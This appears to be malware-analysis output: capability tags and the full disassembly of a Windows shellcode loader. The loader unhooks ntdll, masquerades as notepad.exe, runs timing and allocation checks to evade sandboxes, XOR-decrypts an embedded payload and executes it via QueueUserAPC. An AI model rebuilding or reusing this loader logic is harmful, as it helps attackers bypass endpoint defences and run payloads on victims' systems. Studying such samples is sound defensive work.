Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x818
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7c0], ecx
mov qword [rbp + 0x7c8], rdx
call fcn.140002700
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x718], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x710], rax
mov ecx, 0xa80
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x788], 0
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x78c], 0
jmp 0x140001526
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x78c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x708]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x29f
jle 0x1400014da
mov dword [rbp + 0x78c], 0
jmp 0x140001567
mov eax, dword [rbp + 0x78c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x788], eax
add dword [rbp + 0x78c], 1
cmp dword [rbp + 0x78c], 0x29f
jle 0x14000153e
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140001606
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
je 0x140001894
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
mov rax, qword [rbp + 0x6f8]
mov r10, qword [rbp + 0x780]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x6f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6f0]
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov qword [rbp + 0x6c8], rax
mov word [rbp + 0x77e], 0
jmp 0x14000187c
mov rax, qword [rbp + 0x6c8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6c8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x77e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000186b
mov dword [rbp + 0x528], 0
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x528]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x528]
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6c0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x528]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x77e]
add eax, 1
mov word [rbp + 0x77e], ax
mov rax, qword [rbp + 0x6c8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x77e], ax
jb 0x140001740
movsd xmm0, qword [0x1400065e0]
movsd qword [rbp + 0x770], xmm0
movsd xmm0, qword [0x1400065e8]
movsd qword [rbp + 0x6b8], xmm0
jmp 0x1400018df
movsd xmm0, qword [rbp + 0x6b8]
mov rax, qword [rbp + 0x770]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003a70
movq rax, xmm0
mov qword [rbp + 0x770], rax
movsd xmm0, qword [0x1400065f0]
comisd xmm0, xmmword [rbp + 0x770]
ja 0x1400018b6
mov dword [rbp + 0x52c], 0
mov rax, qword [rbp + 0x718]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x530]
lea rax, [rbp + 0x52c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x538]
add rax, 0x3c
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6a8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov ecx, 0x2ef
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x2bd
jbe 0x14000263e
mov dword [rbp + 0x694], 0x299
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x67c], eax
mov eax, dword [rbp + 0x694]
mov r8, qword [rbp + 0x688]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x267
jbe 0x14000263e
mov qword [rbp + 0x768], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x670], rax
cmp qword [rbp + 0x670], 0
je 0x140001b3e
mov rax, qword [rbp + 0x670]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x668]
mov r9d, 0x3000
mov r8d, 0x3d2
mov edx, 0
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x14000263e
mov qword [rbp + 0x760], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140001bd9
mov rax, qword [rbp + 0x660]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x658]
mov r9d, 0x3000
mov r8d, 0x3e3
mov edx, 0
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x14000263e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
call rax
mov dword [rbp + 0x64c], eax
mov ecx, 0x39e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x650]
call rax
mov dword [rbp + 0x648], eax
mov eax, dword [rbp + 0x648]
sub eax, dword [rbp + 0x64c]
cmp eax, 0x36c
jbe 0x14000263e
lea rax, str.clijtviiatczgod.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
jne 0x14000263e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x634], eax
mov ecx, 0x32d
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x630], eax
mov eax, dword [rbp + 0x630]
sub eax, dword [rbp + 0x634]
cmp eax, 0x2fb
jbe 0x14000263e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x624], eax
mov ecx, 0x3c5
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x620], eax
mov eax, dword [rbp + 0x620]
sub eax, dword [rbp + 0x624]
cmp eax, 0x393
jbe 0x14000263e
mov qword [rbp + 0x618], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x127d680
mov ecx, 0
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x14000263e
mov rax, qword [rbp + 0x618]
mov edx, 0x127d680
mov rcx, rax
call fcn.1400045f0
mov rax, qword [rbp + 0x618]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
jne 0x14000263e
lea rax, [rbp + 0x80]
lea rdx, str.1X_b
mov ecx, 0x93
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x710]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x75c], 0xffffffff
add dword [rbp + 0x75c], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x5f4], eax
mov ecx, dword [rbp + 0x5f4]
mov eax, ecx
add eax, eax
add eax, ecx
lea ecx, [rax*8]
add eax, ecx
sub edx, eax
mov dword [rbp + 0x5f4], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5f4]
movq xmm0, rax
call fcn.140003900
movq rax, xmm0
mov qword [rbp + 0x5e8], rax
cmp dword [rbp + 0x75c], 0x145
jle 0x140001ec5
mov rax, qword [rbp + 0x710]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5f8]
mov r8d, 0
mov edx, 0x49c
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0x49c
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x5d0]
mov r9, qword [rbp + 0x5c8]
mov r8d, 0x49c
mov rcx, rax
call r9
mov ecx, 0x1070
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x758], 0
jmp 0x14000206c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x20d
jle 0x14000201e
mov dword [rbp + 0x758], 0
jmp 0x1400020d6
mov eax, dword [rbp + 0x758]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x20d
jle 0x140002084
mov dword [rbp + 0x750], 0
mov dword [rbp + 0x74c], 0
movabs rax, 0xae5078a02f9478cf
movabs rdx, 0x2f20f91f374631b0
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xdee9ff1664bbe34b
movabs rdx, 0x88df0bee1f79975d
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x770bd43620d50e
mov qword [rbp + 0x10], rax
movabs rax, 0x6cec29201ee00715
movabs rdx, 0xbac1ac715e7f3724
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x693d506bc37ae507
movabs rdx, 0x65c384266f85d531
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x418ba9dd9bf002f4
movabs rdx, 0xf1445dcfebe99bf9
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x109a45f3bab728e0
movabs rdx, 0x72aa6f866fdaeb0
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xcd4cb836d9a40135
movabs rdx, 0x6fa4ed5b9514374c
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xd0bff4c56fa4ed
mov qword [rbp + 0x6d], rax
mov dword [rbp + 0x754], 0
jmp 0x140002397
cmp dword [rbp + 0x750], 0x53
jne 0x140002361
mov eax, dword [rbp + 0x754]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x750]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x754]
cdqe
mov byte [rbp + rax - 0x40], dl
mov ecx, 0x1300
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x588], rax
mov dword [rbp + 0x748], 0
jmp 0x140002285
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x588]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x25f
jle 0x140002237
mov dword [rbp + 0x748], 0
jmp 0x1400022ec
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x588]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x748]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x588]
add rax, rdx
movq xmm1, qword [0x140006610]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x25f
jle 0x14000229d
mov dword [rbp + 0x750], 0
movsd xmm0, qword [0x140006620]
movsd qword [rbp + 0x740], xmm0
movsd xmm0, qword [0x140006628]
movsd qword [rbp + 0x580], xmm0
jmp 0x14000234d
movsd xmm0, qword [rbp + 0x580]
mov rax, qword [rbp + 0x740]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003a70
movq rax, xmm0
mov qword [rbp + 0x740], rax
movsd xmm0, qword [0x140006630]
comisd xmm0, xmmword [rbp + 0x740]
ja 0x140002324
jmp 0x140002390
mov eax, dword [rbp + 0x754]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x750]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x754]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x750], 1
add dword [rbp + 0x754], 1
mov eax, dword [rbp + 0x754]
cmp eax, 0x26
jbe 0x1400021e5
mov dword [rbp + 0x754], 0
jmp 0x1400024cb
mov dword [rbp + 0x73c], 0xffffffff
add dword [rbp + 0x73c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400036f0
movq rax, xmm0
mov qword [rbp + 0x590], rax
cmp dword [rbp + 0x73c], 0x19e
jle 0x1400023bf
cmp dword [rbp + 0x74c], 0x26
jne 0x140002463
mov eax, dword [rbp + 0x754]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x74c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x754]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x74c], 0
jmp 0x1400024c4
mov eax, dword [rbp + 0x754]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x74c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x754]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x738], 0x172
jmp 0x1400024b4
sub dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0x16
jg 0x1400024ad
add dword [rbp + 0x74c], 1
add dword [rbp + 0x754], 1
cmp dword [rbp + 0x754], 0x49b
jle 0x1400023b5
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x710]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x710]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5b8]
mov r9, qword [rbp + 0x5b0]
mov r8d, 0
mov rcx, rax
call r9
mov qword [rbp + 0x728], 0
mov dword [rbp + 0x5a4], 0xf1
mov dword [rbp + 0x734], 1
jmp 0x140002588
mov eax, dword [rbp + 0x734]
cdqe
add qword [rbp + 0x728], rax
add dword [rbp + 0x734], 1
mov eax, dword [rbp + 0x734]
cmp eax, dword [rbp + 0x5a4]
jle 0x140002572
mov rax, qword [rbp + 0x5a8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x724], 0xffffffff
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x5a0], eax
mov ecx, dword [rbp + 0x5a0]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x5a0], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x5a0]
movq xmm0, rax
call fcn.140003900
movq rax, xmm0
mov qword [rbp + 0x598], rax
cmp dword [rbp + 0x724], 0x8e
jle 0x1400025b3
mov eax, 0
add rsp, 0x818
pop rbx
pop rsi
pop rdi
pop rbp
ret